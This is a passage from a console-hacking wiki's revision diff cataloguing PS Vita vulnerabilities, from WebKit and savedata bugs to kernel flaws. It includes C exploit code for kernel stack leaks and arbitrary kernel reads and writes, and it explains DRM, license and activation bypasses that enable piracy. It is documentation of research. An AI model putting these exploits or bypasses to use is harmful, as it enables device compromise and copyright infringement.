Vulnerabilities: Difference between revisions
CelesteBlue (talk | contribs) (→Kernel) |
CelesteBlue (talk | contribs) No edit summary |
||
(134 intermediate revisions by 9 users not shown) | |||
Line 1: | Line 1: | ||
== | == Usermode == | ||
=== WebKit exploits === | === WebKit exploits === | ||
==== WebKit exploits in Email | ==== WebKit exploits in the Email application ==== | ||
Implemented by xyz, in order HENkaku to be launched offline. | Implemented by xyz, in order HENkaku to be launched offline. | ||
In FW 2.00, Email has been added as an application. However it does not support HTML pages. Since FW 2.10, the Email application now allow users to view HTML messages. As a consequence, since FW 2.10 JavaScript is also supported by the Email app. | |||
See [https://blog.xyz.is/2016/henkaku-offline-installer.html xyz's writeup]. | See [https://blog.xyz.is/2016/henkaku-offline-installer.html xyz's writeup]. | ||
Not supported in FW 2.060.011 and earlier. Not fixed as of FW 3.740.011. | |||
There are two exploits used for WebKit prior to 2.00. One is a data leakage exploit CVE-2010-4577 <ref>https://code.google.com/p/chromium/issues/detail?id=63866</ref> using type confusion to treat a double as a string memory address and length. The other is a type confusion exploit CVE-2010-1807 on the parseFloat() function using a Nan as the arg. | ==== WebKit 531.22.8 (PS Vita FW <= 1.81) (CVE-2010-4577 and CVE-2010-1807) ==== | ||
There are two exploits used for WebKit prior to FW 2.00. One is a data leakage exploit CVE-2010-4577 <ref>https://code.google.com/p/chromium/issues/detail?id=63866</ref> using type confusion to treat a double as a string memory address and length. The other is a type confusion exploit CVE-2010-1807 on the parseFloat() function using a Nan as the arg. | |||
<ref>http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html</ref> | <ref>http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html</ref> | ||
==== WebKit 536.26 (Vita FW 2.00-3.20) (CVE-2012-3748) (PSA 2013-09-03-1) ==== | ==== WebKit 536.26 (PS Vita FW 2.00-3.20) (CVE-2012-3748) (PSA 2013-09-03-1) ==== | ||
Ported to | Ported to PS Vita by many many people. Fixed in FW 3.30. | ||
The heap memory buffer overflow vulnerability exists within the WebKit's JavaScriptCore JSArray::sort(...) method. This method accepts the user-defined JavaScript function and calls it from the native code to compare array items. If this compare function reduces array length, then the trailing array items will be written outside the "m_storage->m_vector[]" buffer, which leads to the heap memory corruption. | The heap memory buffer overflow vulnerability exists within the WebKit's JavaScriptCore JSArray::sort(...) method. This method accepts the user-defined JavaScript function and calls it from the native code to compare array items. If this compare function reduces array length, then the trailing array items will be written outside the "m_storage->m_vector[]" buffer, which leads to the heap memory corruption. | ||
Line 24: | Line 28: | ||
[https://bitbucket.org/DaveeFTW/psvita-260-webkit/src/master/ exploit code by Davee] | [https://bitbucket.org/DaveeFTW/psvita-260-webkit/src/master/ exploit code by Davee] | ||
==== WebKit 537.73 (as used in Vita FW 3.30-3.36) (CVE-2014-1303) ==== | ==== WebKit 537.73 (as used in PS Vita FW 3.30-3.36) (CVE-2014-1303) ==== | ||
Ported to | Ported to PS Vita by xyz. Fixed in FW 3.50. | ||
The CSSSelectorList can be mutated after it's allocated. If the mutated list contains less entries than the original one, a restrictive 1-bit OOB write can be achieved. | The CSSSelectorList can be mutated after it's allocated. If the mutated list contains less entries than the original one, a restrictive 1-bit OOB write can be achieved. | ||
Line 33: | Line 37: | ||
<ref>https://cansecwest.com/slides/2015/Liang_CanSecWest2015.pdf</ref> | <ref>https://cansecwest.com/slides/2015/Liang_CanSecWest2015.pdf</ref> | ||
==== WebKit 537.73 (as used in Vita FW 3.30-3.60) (JSArray::sortCompactedVector) ==== | ==== WebKit 537.73 (as used in PS Vita FW 3.30-3.60) (JSArray::sortCompactedVector) ==== | ||
Discovered by xyz. Implemented in HENkaku by Molecule | Discovered in 2015 by xyz. Implemented in HENkaku by Team Molecule. Fixed in FW 3.61 (see [https://blog.xyz.is/2016/webkit-360.html#bonus-how-sony-patched-it how it was fixed]). | ||
The JSArray::sort method has a heap use-after-free vulnerability. If an array containing an object with a custom toString method is sorted, and the toString method causes the array to be reallocated, then the sorted elements will be written to the old freed address. | The JSArray::sort method has a heap use-after-free vulnerability. If an array containing an object with a custom toString method is sorted, and the toString method causes the array to be reallocated, then the sorted elements will be written to the old freed address. | ||
[https://blog.xyz.is/2016/webkit-360.html xyz's writeup about 3.60 | [https://blog.xyz.is/2016/webkit-360.html xyz's writeup about 3.60 WebKit exploit] | ||
[https://blog.xyz.is/2016/henkaku-offline-installer.html xyz's writeup about ROP in webbrowser] | [https://blog.xyz.is/2016/henkaku-offline-installer.html xyz's writeup about ROP in webbrowser] | ||
[https://github.com/henkaku/henkaku/blob/master/webkit/exploit.js 3.60 | [https://github.com/henkaku/henkaku/blob/master/webkit/exploit.js 3.60 WebKit exploit source code by xyz] | ||
[https://gist.github.com/St4rk/f1375a22dad6e5bbcff8067fdf26600f 3.60 | [https://gist.github.com/St4rk/f1375a22dad6e5bbcff8067fdf26600f 3.60 WebKit exploit commented code by St4rk] | ||
==== WebKit 537.73 (as used in Vita FW 3.30-3. | ==== WebKit 537.73 (as used in PS Vita FW 3.30-3.74) ==== | ||
Ported from PS4 to PS Vita by TheFloW in henlo. | |||
Working | See also [https://www.psdevwiki.com/ps4/Working_Exploits#FW_3.15-4.07_-_Stack_Uninitialized_Read_UaF_leading_to_arbitrary_RW]. | ||
To be detailed. | |||
Working in FWs 3.30-3.740.011. Not fixed yet. | |||
=== PSM (PlayStation Mobile) exploits === | === PSM (PlayStation Mobile) exploits === | ||
PSM apps for | PSM apps for PS Vita were removed from the PS Store in 2015. Nevetheless, a set of tricks allow to install and use PSM on any PS Vita running FW <= 3.51. | ||
PSM apps | PSM apps cannot work in FWs >=3.52 because they are blacklisted in PS Vita OS (at cmep level). This can be bypassed only with a kernel exploit and ref00d/0syscall6 plugin. | ||
==== PSM Dev For Unity can be installed without | ==== PSM Dev For Unity can be installed without the PS Store ==== | ||
PSM Dev For Unity is packed into a DRM-free .pkg. It can so be installed using PKG Installer, or BGDL .pkg trick. | PSM Dev For Unity is packed into a DRM-free .pkg. It can so be installed using PKG Installer, or BGDL .pkg trick. It is not patchable. | ||
==== PSM+ ==== | ==== PSM+ ==== | ||
PSM | PSM developer license can be spoofed using filesystem write access and signed with keys. | ||
==== PSM Dev for Unity trusts Local Time ==== | |||
PSM Dev for Unity trusts the system time set by the user when it checks Developer License expiration. Indeed, it uses sceRtcGetCurrentTick but not the secure RTC (sceRtcGetCurrentSecureTick). So if you have a valid PSM Publisher license, you can just set your system time back to when it was valid. | |||
==== PSM Mono privilege escalation ==== | ==== PSM Mono privilege escalation ==== | ||
See [https://yifan.lu/2015/06/21/hacking-the-ps-vita/ writeup by yifan lu]. | See [https://yifan.lu/2015/06/21/hacking-the-ps-vita/ writeup by yifan lu]. | ||
==== PSM Retail game executables not signed if under 0x10000 bytes ==== | |||
Only thing to verify that a PSM Executable is legitimate is a MD5 hash, and a signature included in every 0x10 encrypted blocks. If the file has less than 0x10 blocks, then the signature is never included. So, you should be able to encrypt your own PSM executable with the same key, and run it even on the newest PS Vita System Software. However as PSM Store server shut down, and PSM Activation service shut down too, it is impossible to actually get a license + activation for any game unless you had one already, so this vulnerability is not that useful. Nevertheless, by changing ConsoleId and/or OpenPsId, using the AES CTR exploit, it is possible to use PSM content license and PSM console activation from a donor console. | |||
==== PSM Unity privilege escalation ==== | ==== PSM Unity privilege escalation ==== | ||
UnityEngine.dll is a trusted assembly (SecurityCritical) | UnityEngine.dll is a trusted assembly (SecurityCritical). It is not signed so it can be modified. However, the actual file at <code>ux0:app/PCSI00009/managed/UnityEngine.dll</code> is [[PFS]] signed and encrypted. Luckily, in FWs <= 3.61 you should be able to use the ux0:patch/ trick to inject a modified UnityEngine.dll. | ||
==== PSM NetworkRequest privilege escalation ==== | ==== PSM NetworkRequest privilege escalation ==== | ||
Line 112: | Line 128: | ||
} | } | ||
</source> | </source> | ||
==== SecurityCritical whitelist failure ==== | |||
SecurityCritical whitelist checks assembly filename ONLY and nothing else. Simply create a dll file called "Sce.PlayStation.Core.dll" or "mscorlib.dll" and it will get SecurityCritical permission in PSM Runtime. | |||
* This has been only tested in Windows PSM Runtime <code>psm.exe</code>. | |||
=== Game savedata exploits === | === Game savedata exploits === | ||
Line 119: | Line 141: | ||
This sort of exploit works in theory on any firmware (not patchable, or hardly). | This sort of exploit works in theory on any firmware (not patchable, or hardly). | ||
==== Savedata exploits | ==== Savedata exploits versus WebKit exploits ==== | ||
h-encore uses a different entry point than its predecessor HENkaku. Instead of a WebKit exploit, it is using a gamesave exploit. The reason for that is after firmware 3.30 or so, Sony introduced [[SceKernelModulemgr#sceKernelInhibitLoadingModule|sceKernelInhibitLoadingModule]]() in their browser, which prevented us from loading additional sysmodules. This limitation is crucial, since this was the only way we could get more syscalls (than the browser uses), as they are randomized at boot and only assigned to syscall slots if any user module imports them. h-encore needs to load SceNgsUser, a sysmodule vulnerable to kexploits. | h-encore uses a different entry point than its predecessor HENkaku. Instead of a WebKit exploit, it is using a gamesave exploit. The reason for that is after firmware 3.30 or so, Sony introduced [[SceKernelModulemgr#sceKernelInhibitLoadingModule|sceKernelInhibitLoadingModule]]() in their browser, which prevented us from loading additional sysmodules. This limitation is crucial, since this was the only way we could get more syscalls (than the browser uses), as they are randomized at boot and only assigned to syscall slots if any user module imports them. h-encore needs to load SceNgsUser, a sysmodule vulnerable to kexploits. | ||
==== Old games | ==== Old games do not have ASLR ==== | ||
The reason why a gamesave exploit is possible on such a system is because games that were developed with an SDK 2.60 and lower were compiled as a statically linked executable, thus their loading address is always the same, namely 0x81000000, and they cannot be relocated to an other region. They also do not have stack protection enabled by default, which means that if we can stack smash in such a game, we can happily do ROP. | |||
Fixed in games developed with SDK 2.60 and newer SDKs. | |||
==== Method for finding a savedata bug ==== | ==== Method for finding a savedata bug ==== | ||
Looking for gamesave exploits is a boring process | Looking for gamesave exploits is a boring process: you just fuzz games savedata by writing random stuff at random locations until you get a crash. The best bet is extending strings and hope that you can smash the stack. | ||
==== Bittersmile game buffer overflow (h-encore) ==== | ==== Bittersmile game buffer overflow (h-encore) ==== | ||
Line 135: | Line 159: | ||
Bittersmile game found exploitable on 2018-02-17 by Freakler. Implemented in h-encore by TheFloW. | Bittersmile game found exploitable on 2018-02-17 by Freakler. Implemented in h-encore by TheFloW. | ||
The bug relies on the parser of the bittersmile game. The gamesave is actually a text file and the game reads it line by line and copies them to a list of buffers. However it | The bug relies on the parser of the bittersmile game. The gamesave is actually a text file and the game reads it line by line and copies them to a list of buffers. However it does not validate the length, thus if we put the delimiter '\n' far away such that the line is longer than the buffer can hold, we get a classic buffer overflow. If this buffer is on stack, we can make it overwrite the return address and straightly execute our ROP chain. However it is on the data section, but luckily for us, the content after the buffer is actually the list that contained destinations for other lines. This means that if we overflow into the list and redirect the buffer, we can copy the next line to wherever we want and therefore enable us an arbitrary write primitive. | ||
If this buffer is on stack, we can make it overwrite the return address and straightly execute our ROP chain. However it is on the data section, but luckily for us, the content after the buffer is actually the list that contained destinations for other lines. This means that if we overflow into the list and redirect the buffer, we can copy the next line to wherever we want and therefore enable us an arbitrary write primitive. | |||
Not patchable. Bittersmile game requires minimal FW ?2.50? to run. | Not patchable. Bittersmile game requires minimal FW ?2.50? to run. | ||
[https://github. | [https://theofficialflow.github.io/2018/09/11/h-encore.html#buffer-overflow h-encore writeup by TheFloW] | ||
=== Youtube Stack Pointer control vulnerability === | |||
There was a vulnerability in the Youtube application that could allow to manipulate the stack pointer (SP). | |||
But this vulnerability is not interesting because Sony removed the YouTube app from the PS Store, it is not DRM Free and it cannot be exploited easily. | |||
=== PSP Emulator escape === | === PSP Emulator escape === | ||
Line 156: | Line 185: | ||
[https://theofficialflow.github.io/2019/06/18/trinity.html#stack-smash writeup] | [https://theofficialflow.github.io/2019/06/18/trinity.html#stack-smash writeup] | ||
Fixed | Fixed in FW 3.71. | ||
==== CSC | ==== CSC does not sanitize check the row number (arbitrary usermode memory read) ==== | ||
Discovered on 2018-06-04 by TheFloW. Implemented in Trinity by TheFloW. | Discovered on 2018-06-04 by TheFloW. Implemented in Trinity by TheFloW. | ||
Line 164: | Line 193: | ||
[https://theofficialflow.github.io/2019/06/18/trinity.html#csc-arbitrary-read writeup] | [https://theofficialflow.github.io/2019/06/18/trinity.html#csc-arbitrary-read writeup] | ||
Fixed | Fixed in FW 3.71. | ||
== System == | == System == | ||
=== | === ux0:patch and grw0:patch files do not need to be PFS encrypted === | ||
Discovered in 2015 by mr.gas and exploited by Silica in 2016. | |||
This can lead to piracy of certain digital games that have a trial version. This piracy method is similar to the CFW2OFW method on PS3. | |||
See [http://cmd0725.blog.fc2.com/blog-entry-1819.html]. | |||
Fixed in FW 3.63. | |||
=== PS Vita can use PSP/PS3 PS Store activation licenses === | |||
Discovered by CelesteBlue in 2015 and exploited in 2016. | |||
PS Vita can use .rif downloaded from PS Vita, PSP, or PS3. Implemented in ReStore by CelesteBlue. Note that since 2022-05-10, connection to PSN requires a device password instead of the usual account password. This renders .rif download as a PS3 harder because the device password must be asked on Playstation Network website for the PS3, not for the PS Vita. So the full PS3 PSN sign-in must be simulated and a device with a web browser is required to access the Sony Entertainment Network website. | |||
PS Vita can use PSP or PS3 act.dat if we spoof ConsoleId (idps) and OpenPSID. Implemented in ReNpDrm by CelesteBlue. | |||
This means that to activate | This shows that no matters how secure PS Vita's Store is, til PS3 Store is online, PS Vita Store contents can be activated for use on PS Vita. | ||
=== PS Store Activation server does not check challenge anymore === | |||
Discovered by many PS Vita users in May 2018. | |||
Since May 2018, the challenge string in requests sent from PS Vita to PSN for Content and PSN Account activations is not checked anymore server-side. | |||
This means that to activate a PS Vita or its PS Store contents, it suffices to spoof System Software version for bypassing the System Software update request popup, and to spoof a recent SEN passphrase in [[SceShell]]. Both spoofs are done by taiHEN (in henkaku.suprx). This also means that ReStore and ReNpDrm are not needed anymore. | |||
== Kernel == | == Kernel == | ||
=== Syscall handler | === Syscall handler treats syscall ID as a signed integer === | ||
Discovered on | Discovered on 2022-08-28 by CreepNT. | ||
In earliest System Software versions, the syscall handler in [[SceKernelIntrMgr]] treats the syscall ID passed in <code>r12</code> as a signed integer. Note that this is a separate vulnerability from the [[Vulnerabilities#Syscall handler does not check syscall ID|unchecked syscall ID]] one. | |||
The handler also has a special code path for "fast syscalls": | |||
<source lang="C"> | |||
static int (*GLOBAL_FAST_SYSCALL_TABLE[0x100])(); // array of 0x100 function pointers | |||
if (r12 < 0x100) | |||
return GLOBAL_FAST_SYSCALL_TABLE[r12](); | |||
</source> | |||
This code may look safe, but due to <code>r12</code>'s signedness, it will also be executed if <code>r12</code> is negative (as any negative number is also inferior to 0x100) - thus a pointer from an arbitrary address before the global table can be dereferenced and executed. | |||
In System Software versions affected by this bug, the available range for the [[Vulnerabilities#Syscall handler does not check syscall ID|unchecked syscall ID vulnerability]] is thus halved since all values between <code>2^31</code> and <code>(2^32)-1</code> are treated as negative and fall in the fast syscall path instead of the regular path. Because both cases lack bounds checks, however, this can largely be ignored. | |||
Present since FW 0.931.010. | |||
Fixed in FW 0.990 by treating syscall ID as an unsigned integer instead of a signed integer. | |||
Discovered on 2014-09-16 by Molecule | === Unlimited stack pointer (SP) control in SceAppMgr === | ||
Discovered on 2022-03-07 by Princess of Sleeping. | |||
In FW 0.990, in some [[SceAppMgr]] syscalls like [[SceAppMgr#_sceAppMgrGetBootParam]], SP can be controlled with the value passed from usermode as the function does not sufficiently check the validity of the argument. | |||
By exploiting this vulnerability, it may be possible to write data to any kernel address. As the length of data to be copied is proportional to the control size of SP, it is not possible to copy larger data. | |||
It seems fixed since FW 0.996. | |||
=== Arbitrary kernel execution due to SceDeci4pDbgpForDriver export to usermode === | |||
Discovered on 2022-01-13 by CreepNT. | |||
Between FW 0.931.010 and FW 1.000.071 (excluded), the [[SceDeci4pDbgp#SceDeci4pDbgpForDriver|SceDeci4pDbgpForDriver]] library is exported to usermode (library has attribute <code>SYSCALL_EXPORT</code>). | |||
However, as the <code>ForDriver</code> suffix in the library's name indicates, it should only be exported to kernel. Since FW 0.990, the [[SceDeci4pDbgp#sceDbgpSetDTraceBreakpointHandlerForDriver|sceDbgpSetDTraceBreakpointHandlerForDriver]] function is provided by this library, and can thus be called from usermode. | |||
By installing a custom breakpoint handler with this function, then triggering a DTrace breakpoint (<code>bkpt #0x90</code>), an arbitrary function might be able to be executed with Kernel privileges (either that, or kernel will panic). | |||
Because the [[SceDeci4pDbgp|SceDeci4pDbgp]] module is only present in TOOL firmware, this vulnerability only works on DevKit. | |||
On DevKit, usermode code execution is allowed in fSELF, so this exploit should be easily testable if one gets a hand on a DevKit on a FW between 0.990 and 1.000.071. | |||
Fixed in FW 1.000.071 by not exporting library to usermode. | |||
=== Syscall handler does not check syscall ID === | |||
Discovered on 2015-07-03 by Team Molecule. | |||
The syscall handler in [[SceKernelIntrMgr]] finds the function to execute for a given syscall ID with a simple <code>pFunc = gpSyscallTable[r12];</code>. However, the value in <code>r12</code> is never checked to be in the bounds of the syscall table. A large syscall ID passed in <code>r12</code> will cause the function pointer to be read past the syscall table, leading to an arbitrary kernel function pointer being dereferenced then executed. | |||
Present since FW 0.931.010. Tested in FW 1.50-1.60. | |||
Fixed in FW 1.61 by ensuring that syscall ID is valid. This consists in addition of the condition <code>(r12 < 0x100) && ((r12 - 0x100) < 0xF00)</code>. Note that the first 0x100 syscalls are handled differently. | |||
=== Syscall handler leaks syscall table virtual address === | |||
Discovered on 2019-08-01 by Princess of Sleeping. | |||
Calling [[SceExcpmgr#SVC|SVC]] with an invalid syscall ID will make [[SceKernelIntrMgr]] end the [[SceExcpmgr#SVC|SVC]] interrupt without clearing syscall table virtual address in r0. This leads to knowledge of the syscall table virtual address, from which [[SceKernelIntrMgr]] data segment address can be derived. | |||
This can be used to ease a bit address resolving in the [[#Syscall handler does not check syscall ID]] vulnerability, although a partial kernel memory dump of the kernel function to call remains necessary. | |||
Fixed in FW 1.61 by ensuring that syscall ID is valid. This consists in addition of the condition <code>(r12 < 0x100) && ((r12 - 0x100) < 0xF00)</code>. Note that the first 0x100 syscalls are handled differently. As the syscall table is always filled, thanks to placeholders, this cannot be exploited anymore. | |||
Fixed totally in FW 1.66 by replacement of the "syscall trap branch" <code>if (syscall_table[r12] == NULL)</code> with <code>bkpt #0</code>. | |||
=== Kernel stack buffer overflow in sceSblDmac5EncDec === | |||
Discovered on 2014-09-16 by Team Molecule. Implemented in xyz's 1.61 exploit chain in 2016, then in CelesteBlue's QuickHEN_PSVITA. | |||
[[SceSblSsMgr#sceSblDmac5EncDec|SceSblDmac5Mgr_sceSblDmac5EncDec]] | [[SceSblSsMgr#sceSblDmac5EncDec|SceSblDmac5Mgr_sceSblDmac5EncDec]] | ||
Line 212: | Line 311: | ||
ROM:005F711C ADD R0, SP, #0x88+var_70 | ROM:005F711C ADD R0, SP, #0x88+var_70 | ||
ROM:005F711E MOV.W R2, R10,LSR#3 | ROM:005F711E MOV.W R2, R10,LSR#3 | ||
ROM:005F7122 BLX | ROM:005F7122 BLX sceKernelCopyFromUserForDriver | ||
R10 comes from original read in buffer+0x10 | R10 comes from original read in buffer+0x10 | ||
</pre> | </pre> | ||
Tested | Tested in FW 1.61. Fixed in FW 1.80. Moreover, an [[SceSblACMgr|sceSblACIsSystemProgram]] check was added, preventing exploitation from non-system usermode code execution. | ||
=== Kernel stack leak in sceIoDevctl === | === Kernel stack leak in sceIoDevctl === | ||
Discovered on 2014-11-24 by Molecule Team. | Discovered on 2014-11-24 by Team Molecule Team. Implemented in HENkaku by Team Molecule. | ||
Tested successfully on firmware 0.995 in | Tested successfully on firmware 0.995 in fSELF. Since at least firmware 1.030, it works only via WebKit (not fSELF nor games but maybe ePSP or PSM) exploits. | ||
Call some | Some kernel stack data are leaked to usermode by [[SceIofilemgr#sceIoDevctl]] because of a missing memory cleaning. | ||
Then call sceIoDevctl | |||
Call some functions that interest you in a kernel context i.e. syscalls, for example [[SceLibKernel#sceIoOpen]], to fill the kernel stack with this function's work data. Then call [[SceLibKernel#sceIoDevctl]] to get up to 0x3FF bytes of that kernel stack. | |||
<source lang="C"> | <source lang="C"> | ||
Line 237: | Line 337: | ||
sceIoDevctl("sdstor0:", 5, "xmc-lp-ign-userext", 0x14, &outbuf, 0x3FF); | sceIoDevctl("sdstor0:", 5, "xmc-lp-ign-userext", 0x14, &outbuf, 0x3FF); | ||
// check if our data | // check if our data were actually written to outbuf | ||
hex_dump("kstack", (unsigned char*) outbuf, 0x400); | hex_dump("kstack", (unsigned char*) outbuf, 0x400); | ||
</source> | </source> | ||
Fixed in 3.61. | Since FW 3.61, a memset was added in _sceIoDevctl's subroutine: | ||
<source lang="C">memset(local_buf, 0xFF, buflen);</source> | |||
Fixed in FW 3.61. | |||
=== Heap use-after-free in sceNetSyscallIoctl === | === Heap use-after-free in sceNetSyscallIoctl === | ||
Discovered on 2016-04-05 by Molecule | Discovered on 2016-04-05 by Team Molecule. Implemented in HENkaku by Team Molecule. | ||
See [https://blog.xyz.is/2016/vita-netps-ioctl.html xyz's writeup]. | See [https://blog.xyz.is/2016/vita-netps-ioctl.html xyz's writeup]. | ||
sceNetSyscallIoctl is declared as <code>int sceNetSyscallIoctl(int s, unsigned flags, void *umem)</code>. When <code>memsz = (flags_ >> 16) & 0x1FFF</code> is in range (0x80; 0x1000], it will use SceNetPs custom malloc to allocate a buffer of that size on the heap. | [[SceNetPs#sceNetSyscallIoctl|sceNetSyscallIoctl]] is declared as <code>int sceNetSyscallIoctl(int s, unsigned flags, void *umem)</code>. When <code>memsz = (flags_ >> 16) & 0x1FFF</code> is in range (0x80; 0x1000], it will use [[SceNetPs]] custom malloc to allocate a buffer of that size on the heap. | ||
However, the second argument to malloc is 0, meaning that when not enough memory is available instead of returning NULL, it unlocks the global SceNetPs mutex and waits on a semaphore. | However, the second argument to malloc is 0, meaning that when not enough memory is available instead of returning NULL, it unlocks the global [[SceNetPs]] mutex and waits on a semaphore. | ||
Then, while malloc is waiting, another thread can free the socket sceNetSyscallIoctl is operating on, causing a use-after-free condition. | Then, while malloc is waiting, another thread can free the socket [[SceNetPs#sceNetSyscallIoctl|sceNetSyscallIoctl]] is operating on, causing a use-after-free condition. | ||
When passed proper arguments, sceNetSyscallIoctl will execute a function from the socket's | When passed proper arguments, sceNetSyscallIoctl will execute a function from the socket's virtual table at the end: | ||
<source lang ="C"> | <source lang ="C"> | ||
Line 265: | Line 368: | ||
</source> | </source> | ||
Fixed in 3.63. See [https://blog.xyz.is/2017/363-fix.html how it was fixed]. | Fixed in FW 3.63. See [https://blog.xyz.is/2017/363-fix.html how it was fixed]. | ||
=== 3 kernel exploits on DevKit by TheFloW === | === 3 kernel exploits on DevKit by TheFloW === | ||
Fixed in FW 3.68 or in FWs just before. These functions cannot be called because they are not imported into system or released games. | |||
==== Kernel stack leak in sceMotionDevGetEvaInfo ==== | ==== Kernel stack leak in sceMotionDevGetEvaInfo ==== | ||
This can be used to defeat kernel ASLR on DevKit | This can be used to defeat kernel ASLR on DevKit in FW < 3.68. | ||
But, this vulnerability may not be available depending on the model. | |||
[https://gist.github.com/Princess-of-Sleeping/588d9df669dafcaeccde11909897854b Click here] for detailed code of exploit. | |||
<source lang="C"> | <source lang="C"> | ||
uint32_t | uint32_t info[0x12]; | ||
int leak_kstack_addr_motiondev() { | |||
uint32_t ret; | |||
// 1) Call a function (syscall) that writes sp to kernel stack | |||
ret = sceAppMgrLoadExec(NULL, NULL, NULL); | |||
// 2) Leak kernel stack | |||
ret = sceMotionDevGetEvaInfo(&info); | |||
if (ret < 0) | |||
printf("sceMotionDevGetEvaInfo returned: 0x%08X\n"); | |||
// 3) Get kernel stack address | |||
return info[3] & 0xFFFFF000; | |||
} | |||
int leak_sysmem_addr_motiondev() { | |||
uint32_t ret; | |||
// 1) Call a function (syscall) that writes sp to kernel stack | |||
ret = sceAppMgrLoadExec(NULL, NULL, NULL); | |||
// 2) Leak kernel stack to info buffer | |||
ret = sceMotionDevGetEvaInfo(&info); | |||
if (ret < 0) | |||
printf("sceMotionDevGetEvaInfo returned: 0x%08X\n"); | |||
// 3) Get SceSysmem kernel module text segment base address | |||
return (info[0] - 0x27000) & 0xFFFF0000; // SceSysmem base address resolving for any FW, method found by CelesteBlue | |||
} | |||
</source> | |||
==== sceNgsVoiceDefinitionGetPresetInternal insufficient checks (arbitrary kernel read) ==== | |||
sceNgsVoiceDefinitionGetPresetInternal does a memcpy from kernel to usermode and does not do sufficient checks to prevent out of bounds arbitrary kernel read. | |||
FW 0.990.030 pseudo-C: | |||
<source lang="C"> | |||
SceUInt32 sceNgsVoiceDefinitionGetPresetInternal(SceNgsVoiceDefinition *pVoiceDefn, SceUInt32 uPresetIndex, SceNgsVoicePreset *pVoicePreset) { | |||
SceUInt32 is_kernel_addr; | |||
SceUInt32 ret; | |||
SceUInt32 uVar1; | |||
SceInt32 syscall_state; | |||
return | ENTER_SYSCALL(syscall_state); | ||
is_kernel_addr = is_kernel_addr(); | |||
if ((pVoicePreset == (SceNgsVoicePreset *)0x0) || (pVoiceDefn != (SceNgsVoiceDefinition *)0x0) | |||
|| (is_valid_vaddr(pVoicePreset, 4, is_kernel_addr) == 0)) | |||
ret = SCE_NGS_ERROR_INVALID_PARAM; | |||
else { | |||
if (uPresetIndex < (SceUInt32)pVoiceDefn->uNumVoicePresets) { | |||
copyout(pVoicePreset, (void *)((SceInt32)&pVoiceDefn->uMagic + uPresetIndex * 0x18 + pVoiceDefn->nVoicePresetsOffset), 4, is_kernel_addr); | |||
ret = 0; | |||
} | |||
else | |||
ret = SCE_NGS_ERROR_PARAM_OUT_OF_RANGE; | |||
} | |||
EXIT_SYSCALL(syscall_state); | |||
return ret; | |||
} | } | ||
</source> | </source> | ||
See original full exploit code by TheFloW [https://gist.github.com/TheOfficialFloW/92d4c2ad84b325019f68bc1c57cc64e2 here]. | |||
Also reimplemented by CelesteBlue [https://github.com/CelesteBlue-dev/PSVita-RE-tools/blob/master/Kdumper/src/main.c#L342 here]. | |||
And detailed code by CelesteBlue: | |||
<source lang="C"> | |||
// Read 4 bytes from kernel memory to usermode | |||
int kernel_read_ngs_word(void *dst, const void *src) { | |||
// 0) Get kernel stack address | |||
void *kstack_addr = leak_kstack_addr(); | |||
// 1) Setup exploit data | |||
SceUInt32 KSTACK_DEVCTL_OFFSET = 0xAF0; // 0xF20 for 1.50-1.61, 0xB20 for 1.692, 0xAF0 for 3.55-3.68 | |||
#define VOICEDEF_PRESET_LIST_OFFSET_OFFSET 0x30 | |||
SceNgsVoiceDefinition *pVoiceDefn = kstack_addr + KSTACK_DEVCTL_OFFSET; // pVoiceDefn is a kernel pointer | |||
const SceUInt32 uPresetIndex = 0; // the simplest, 0 is nice because it simplifies multiplications | |||
SceNgsVoicePreset *pVoicePreset = dst; | |||
SceNgsVoiceDefinition voiceDefn; | |||
// Set voiceDefn.nVoicePresetsOffset to read out of bounds: | |||
// src = (void *)((SceInt32)pVoiceDefn + uPresetIndex * 0x18 + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset) | |||
// src = (void *)((SceInt32)pVoiceDefn + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset) (by taking uPresetIndex = 0) | |||
// src = kstack_addr + KSTACK_DEVCTL_OFFSET + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset | |||
// *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset = src - (kstack_addr + KSTACK_DEVCTL_OFFSET) | |||
voiceDefn.nVoicePresetsOffset = (SceUInt32)src - (SceUInt32)pVoiceDefn; | |||
// Set voiceDefn.uNumVoicePresets to 0xFFFFFFFF because uPresetIndex = 0 so we must have (uPresetIndex < (SceUInt32)pVoiceDefn->uNumVoicePresets) | |||
voiceDefn.uNumVoicePresets = 0xFFFFFFFF; | |||
// 1) Write exploit data into kernel stack | |||
sceIoDevctl("", 0, &voiceDefn, sizeof(SceNgsVoiceDefinition), NULL, 0); | |||
// 2) Call vulnerable function | |||
// Trigger sceKernelCopyToUserForDriver(pVoicePreset, | |||
// (void *)((SceInt32)&pVoiceDefn->uMagic + uPresetIndex * 0x18 + pVoiceDefn->nVoicePresetsOffset), 4); | |||
return sceNgsVoiceDefinitionGetPresetInternal(pVoiceDefn, uPresetIndex, pVoicePreset); | |||
} | |||
void kernel_read_ngs(void *dst, const void *src, SceUInt32 len) { | |||
for (SceUInt32 i = 0; i < size; i += 4) | |||
kernel_read_ngs_word(dst + i, src + i); | |||
} | |||
</source> | |||
Fixed in FW 3.68. Function was replaced by a dummy <code>return 0;</code>. | |||
==== sceKernelGetMutexInfo_089 can write into kernel memory ==== | ==== sceKernelGetMutexInfo_089 can write into kernel memory ==== | ||
sceKernelGetMutexInfo_089 should have been exported only as a kernel function, but Sony mistakenly exported it as a usermode function. | |||
The vulnerability is a restricted kernel write from usermode, because it executes a memcpy with controlled destination, | |||
where destination must not necessarily be in usermode. | |||
The copied data cannot be totally controlled because it must follow SceKernelMutexInfo structure. Maximum copied size in one call is 0x40 bytes. | |||
<source lang="C"> | |||
// usermode export | |||
int sceKernelGetMutexInfo_089(SceUID mutexid, SceKernelMutexInfo *pInfo) { | |||
int res; | |||
SceUID kernel_mutexid; | |||
void *a_ptr; | |||
kernel_mutexid = scePUIDtoGUIDForDriver(0, mutexid); | |||
if (kernel_mutexid < 0) | |||
return 0xC0028141; | |||
res = sceKernelGetMutexInfo_089ForDriver(kernel_mutexid, pInfo); | |||
if (res < 0) | |||
return res; | |||
pInfo->mutexId = mutexid; | |||
res = scePUIDGetAttrForKernel(0, mutexid, &a_ptr); | |||
if (res < 0) | |||
return res; | |||
a4 = *(uint32_t *)(a_ptr) << 0xC; | |||
FLAGS = a4; | |||
if (N == 0) // signed > 0 | |||
goto loc_8102D744; | |||
